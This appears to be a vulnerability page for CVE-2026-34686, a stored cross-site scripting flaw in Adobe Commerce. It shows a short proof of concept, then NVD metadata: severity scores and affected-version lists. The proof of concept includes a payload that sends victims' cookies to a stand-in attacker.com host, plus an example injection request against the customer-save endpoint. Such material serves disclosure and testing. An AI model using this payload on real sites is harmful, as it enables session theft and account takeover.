CVE-2026-34686

// PoC for Adobe Commerce Stored XSS (CVE-2026-34686) // Attacker injects this payload into a vulnerable form field (e.g., Product Name or User Profile) // Simple payload to test execution var payload = '<img src=x onerror=alert(1)>'; // Advanced payload to steal cookies (demonstration purposes only) var stealPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; // Example HTTP Request simulation /* POST /admin/customer/save HTTP/1.1 Host: target-adobe-commerce.com Content-Type: application/x-www-form-urlencoded firstname=John&lastname=Doe&[email protected]&custom_field=' + encodeURIComponent(payload) + ' */

{"cve": {"id": "CVE-2026-34686", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:38.597", "lastModified": "2026-05-13T18:37:08.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p1:*:*:*:*:*:*", "matchCriteriaId": "4E5CF6F0-2388-4D3F-8FE1-43B8AF148564"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p10:*:*:*:*:*:*", "matchCriteriaId": "1C3D7164-1C5F-40BC-9EEC-B0E00CD45808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p11:*:*:*:*:*:*", "matchCriteriaId": "68AAE162-5957-42AF-BE20-40F341837FAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p12:*:*:*:*:*:*", "matchCriteriaId": "D9D01159-3309-4F6B-93B0-2D89DDD33DEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p13:*:*:*:*:*:*", "matchCriteriaId": "91736E79-D8E7-4AF2-8E01-A7B4EB8AD6F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p14:*:*:*:*:*:*", "matchCriteriaId": "8412C043-64E7-4DFF-A303-13A6FE113BFB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p15:*:*:*:*:*:*", "matchCriteriaId": "BBDA2BCF-E784-4CF3-B30D-6FF5BEE2055F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p16:*:*:*:*:*:*", "matchCriteriaId": "00909C10-6C93-4735-94ED-18DCBD608A28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p17:*:*:*:*:*:*", "matchCriteriaId": "C6F35FE6-853D-4EC6-8A4F-07F4ABD6301A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p2:*:*:*:*:*:*", "matchCriteriaId": "D6D6F1A7-ABB5-4EDC-9EA8-98B74518847A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p3:*:*:*:*:*:*", "matchCriteriaId": "CFEBDDF2-6443-4482-83B2-3CD272CF599F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p4:*:*:*:*:*:*", "matchCriteriaId": "6661093F-8D22-450F-BC6C-A8894A52E6A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p5:*:*:*:*:*:*", "matchCriteriaId": "2515DA6D-2E74-4A05-BD29-FEEF3322BCB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p6:*:*:*:*:*:*", "matchCriteriaId": "69A1F1F7-E53C-40F3-B3D9-DC011FC353BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p7:*:*:*:*:*:*", "matchCriteriaId": "6A56E96C-6CE5-442C-AA88-F0059B02B5E7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p8:*:*:*:*:*:*", "matchCriteriaId": "8867F510-201C-4199-8554-53DE156CE669"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p9:*:*:*:*:*:*", "matchCriteriaId": "23988132-DD4E-4968-B6B8-954122F76081"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p1:*:*:*:*:*:*", "matchCriteriaId": "7F5E9DB6-1386-4274-8270-2FE0F0CAF7FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p10:*:*:*:*:*:*", "matchCriteriaId": "5764CC97-C866-415D-A3A1-5B5B9E1C06A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p11:*:*:*:*:*:*", "matchCriteriaId": "E82D10D8-2894-4E5B-B47B-F00964DD5CDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p12:*:*:*:*:*:*", "matchCriteriaId": "B044F2D9-E888-4852-8A40-DCE688860ED3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p13:*:*:*:*:*:*", "matchCriteriaId": "6423C754-36F9-4680-9211-60940ED63E79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p14:*:*:*:*:*:*", "matchCriteriaId": "3472064A-8C79-436B-965A-96834AE8D346"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p15:*:*:*:*:*:*", "matchCriteriaId": "CDA8ABEB-F955-4D34-8219-C518B49F5543"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p16:*:*:*:*:*:*", "matchCriteriaId": "55D6A6BD-9E63-448A-A286-437EA1580CEF"}, {"vuln ... (truncated)